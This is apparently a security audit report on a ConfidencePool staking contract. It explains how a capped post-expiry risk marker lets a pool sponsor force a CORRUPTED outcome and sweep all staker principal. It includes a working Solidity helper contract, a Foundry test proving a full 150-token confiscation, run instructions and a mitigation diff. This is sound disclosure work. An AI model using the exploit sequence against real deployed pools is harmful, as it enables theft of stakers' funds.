Root + Impact
Description
-
Normal behavior
A pool's `expiry` becomes immutable when the first stake is accepted and defines the end of the
term that stakers agreed to underwrite. Staking closes at that timestamp and `claimExpired()`
becomes available.
The design intentionally permits a registry risk state to be observed after expiry. For bonus
accounting, `_markRiskWindowStart()` caps that late observation to `expiry` so every staker on a
SURVIVED/EXPIRED payout path has a zero-duration score and receives the documented amount-weighted
fallback. This is valid: the capped value is an accounting timestamp, not the true time of the
upstream transition.
Separately, `claimExpired()` contains a punitive backstop. When the live registry is `CORRUPTED`,
the 180-day moderator grace has elapsed, and a qualifying risk window was observed, the pool
mechanically finalizes as bad-faith `CORRUPTED`. `claimCorrupted()` then transfers the entire pool
balance to `recoveryAddress`.
-
Specific behaviour
`riskWindowStart` represents two facts that require different security semantics:
1. A timestamp capped at `expiry` for bonus-weight calculations.
2. Historical evidence authorizing the principal-forfeiting auto-CORRUPTED backstop.
`_observePoolState()` can first open the risk window after expiry. `_markRiskWindowStart()` then
stores `expiry`, erasing whether the observation occurred before or after the covered term.
`claimExpired()` checks only `riskWindowStart != 0`, so it interprets the post-term accounting marker
as proof that the punitive backstop was eligible.
An unresolved pool can therefore have `riskWindowStart == 0` when its term ends, enter active risk
only afterward, and be permissionlessly poked. Once the real registry later reaches `CORRUPTED`,
the backdated nonzero marker causes `claimExpired()` to finalize `CORRUPTED` instead of `EXPIRED`.
The entire remaining pool balance—principal, bonus, and donations—can then be swept.
Because the grace period is measured from `expiry` rather than from the late observation, a first
observation at `expiry + 180 days` makes the punitive branch immediately available.
Invariant violated
A post-term observation may remain capped to `expiry` for the documented bonus fallback, but it
must not create historical eligibility to forfeit principal.
A pool with `riskWindowStart == 0` at expiry must not become auto-CORRUPTED solely because active
risk is first observed at or after expiry.
Risk
The root cause spans `src/ConfidencePool.sol:793-815` and `src/ConfidencePool.sol:532-550`:
function _observePoolState()
internal
returns (IAttackRegistry.ContractState state)
{
state = _getAgreementState();
if (riskWindowStart == 0 && _isActiveRiskState(state)) {
_markRiskWindowStart();
}
if (riskWindowEnd == 0 && _isTerminalState(state)) {
_markRiskWindowEnd();
}
}
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
sumStakeTime = totalEligibleStake * t;
sumStakeTimeSq = totalEligibleStake * t * t;
emit RiskWindowStarted(t);
}
if (
state == IAttackRegistry.ContractState.CORRUPTED
&& riskWindowStart != 0
) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
outcomeFlaggedAt = riskWindowEnd;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
claimsStarted = true;
emit OutcomeFlagged(
address(0),
PoolStates.Outcome.CORRUPTED,
false,
address(0)
);
return;
}
The cap does not cause the bug by itself. The unsafe operation is reusing that deliberately capped
bonus timestamp as authorization to forfeit principal.
Attack Path
1. Alice stakes `100e18` tokens and Carol contributes `50e18` bonus tokens.
2. The pool reaches `expiry` with `riskWindowStart == 0` and remains unresolved through the
180-day moderator grace.
3. After the term and grace, the agreement owner requests attack mode through the real registry:
`NOT_DEPLOYED -> ATTACK_REQUESTED`.
4. The trusted registry moderator performs an ordinary approval:
`ATTACK_REQUESTED -> UNDER_ATTACK`. The approval authorizes a current attack; it does not attest
that the expired pool previously observed risk.
5. The agreement owner transfers its real-registry attack-moderator role to a helper contract.
6. In one transaction, the helper calls `pokeRiskWindow()`. The actual observation is post-term,
but `riskWindowStart` becomes `expiry`.
7. The helper calls the real registry's `markCorrupted()`, producing the valid
`UNDER_ATTACK -> CORRUPTED` transition.
8. The helper calls `claimExpired()`. The nonzero backdated marker selects mechanical bad-faith
`CORRUPTED` and immediately sets `claimsStarted = true`.
9. The helper calls `claimCorrupted()`. The complete `150e18` pool balance moves to the
sponsor-selected `recoveryAddress`; Alice receives zero.
The helper's `markCorrupted()` call proves that the decisive tail can be atomic; false corruption
reporting is not required for the bug. A genuine post-term corruption, honestly persisted by the
agreement attack moderator or registry DAO, creates the same live `CORRUPTED` state and the same
incorrect pool outcome.
Why this is not an accepted Design.md behaviour
This report does **not** dispute any of the following documented choices:
- Anyone may call `pokeRiskWindow()`.
- Registry state is read live on the first resolving `claimExpired()` call.
- A backstop whose gate was legitimately established during the covered term is scope-blind and
staker-pessimistic after the 180-day grace.
- A first risk observation at or after expiry may set `riskWindowStart == expiry` so the bonus uses
the amount-weighted zero-score fallback.
The defect is the semantic collision between the last two bullets. A marker intentionally retained
for post-expiry **bonus accounting** is also accepted as historical authorization to confiscate
**principal**. The pool had no risk marker when the covered term ended; the principal-forfeiture
gate is created only afterward.
This is not a request to checkpoint the registry exactly at expiry. `claimExpired()` may continue
using the live registry state. It only needs to distinguish an in-term observation
(`riskWindowStart < expiry`) from a marker first created at or after the end of the term
(`riskWindowStart == expiry`).
The harm exceeds the accepted first-observation timing residual. That residual may redistribute a
fixed bonus pot; this issue irreversibly redirects all unclaimed principal.
Likelihood: -> Medium
- The vulnerable state occurs when a funded pool remains `UNRESOLVED` through
`expiry + 180 days` and no active-risk observation was persisted before expiry.
- `claimExpired()` is permissionless at expiry, so stakers have an opportunity to finalize sooner.
This long-inactivity requirement materially constrains exploitation and prevents a High
likelihood rating.
- The state is nevertheless reachable: the protocol has no mandatory keeper, outsiders receive no
resolution reward, and inactive stakers are not automatically settled.
- The exact pinned BattleChain registry permits a new attack request and approval after the pool
term. No impossible mock-only transition is used.
- A malicious pool sponsor is within the stated attacker model. It controls the agreement, is
installed as the agreement attack moderator during request/registration, and selected the pool's
recovery address.
- The real-registry request also requires
`agreement.getCantChangeUntil() >= block.timestamp + MIN_COMMITMENT`. The PoC satisfies this
ordinary reachability prerequisite with `type(uint256).max`; a production agreement must retain
the same required commitment horizon.
- Honest registry-moderator approval is still required. No registry administrator, DAO, outcome
moderator, factory owner, or token compromise is required.
- Once the post-term `UNDER_ATTACK` state exists, the decisive
`poke -> markCorrupted -> claimExpired -> claimCorrupted` sequence is atomic, permissionless
except for the helper's valid attack-moderator call, and requires no capital beyond any ordinary
registry fee or bond configured for the request.
Impact: -> High
- Every remaining staker loses 100% of their principal.
- The full bonus pot and any direct token donations are swept with the principal.
- `claimCorrupted()` transfers the entire current token balance, not a bounded reward or only the
caller's position.
- The recipient is the sponsor-selected `recoveryAddress`. A sponsor that controls that address
directly receives the redirected assets.
- `claimExpired()` sets `claimsStarted = true` before the sweep, so the pool moderator cannot
correct the outcome.
- There is no reversal or later staker claim path. The loss is final for each affected pool.
Proof of Concept
contract PostExpiryAttackModerator {
IAttackRegistry internal immutable registry;
ConfidencePool internal immutable pool;
address internal immutable agreement;
constructor(
IAttackRegistry registry_,
ConfidencePool pool_,
address agreement_
) {
registry = registry_;
pool = pool_;
agreement = agreement_;
}
function execute() external {
pool.pokeRiskWindow();
registry.markCorrupted(agreement);
pool.claimExpired();
pool.claimCorrupted();
}
}
function test_C_F01RealRegistryAtomicPostExpiryConfiscation()
external
{
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
uint256 expiryTs = pool.expiry();
vm.warp(
expiryTs + pool.MODERATOR_CORRUPTED_GRACE()
);
_enterUnderAttack();
assertEq(pool.riskWindowStart(), 0);
PostExpiryAttackModerator helper =
new PostExpiryAttackModerator(
attackRegistry,
pool,
address(agreement)
);
vm.prank(sponsor);
attackRegistry.transferAttackModerator(
address(agreement),
address(helper)
);
uint256 recoveryBefore = token.balanceOf(recovery);
helper.execute();
assertEq(
uint256(
attackRegistry.getAgreementState(
address(agreement)
)
),
uint256(
IAttackRegistry.ContractState.CORRUPTED
)
);
assertEq(pool.riskWindowStart(), expiryTs);
assertEq(pool.riskWindowEnd(), expiryTs);
assertEq(
uint256(pool.outcome()),
uint256(PoolStates.Outcome.CORRUPTED)
);
assertTrue(pool.claimsStarted());
assertEq(
token.balanceOf(recovery) - recoveryBefore,
150 * ONE
);
assertEq(token.balanceOf(address(pool)), 0);
assertEq(token.balanceOf(alice), 0);
}
### Run instructions
Prepare the exact dependency artifact, then run the single test:
```bash
(cd lib/battlechain-safe-harbor-contracts \
&& forge build --skip test --skip script)
mkdir -p out/RealAttackRegistry.sol
cp \
lib/battlechain-safe-harbor-contracts/out/AttackRegistry.sol/AttackRegistry.json \
out/RealAttackRegistry.sol/AttackRegistry.json
forge test \
--match-test test_C_F01RealRegistryAtomicPostExpiryConfiscation \
-vvvv
```
### Observed result
```text
[PASS] test_C_F01RealRegistryAtomicPostExpiryConfiscation()
Suite result: ok. 1 passed; 0 failed; 0 skipped
```
Recommended Mitigation
Preserve `riskWindowStart == expiry` for the documented post-expiry amount-weighted bonus fallback,
but do not accept that value as proof of in-term backstop eligibility.
Because `_markRiskWindowStart()` caps every observation made at or after expiry to exactly `expiry`,
the existing state distinguishes the two cases without changing bonus behavior:
```diff
- if (
- state == IAttackRegistry.ContractState.CORRUPTED
- && riskWindowStart != 0
- ) {
+ // A value equal to expiry was first observed at or after
+ // the end of the covered term. Keep it for bonus accounting,
+ // but do not let it authorize principal forfeiture.
+ bool observedRiskWithinPoolTerm =
+ riskWindowStart != 0 && riskWindowStart < expiry;
+
+ if (
+ state == IAttackRegistry.ContractState.CORRUPTED
+ && observedRiskWithinPoolTerm
+ ) {
```
A separate `observedRiskWithinPoolTerm` storage latch is also valid when it is set only during an
active-risk observation with `block.timestamp < expiry`. The capped bonus timestamp and punitive
eligibility must remain independent.
This change preserves:
- Permissionless post-expiry observation.
- `riskWindowStart == expiry` and the amount-weighted bonus fallback.
- Live registry reads during `claimExpired()`.
- The existing scope-blind backstop for a risk observation genuinely persisted before expiry.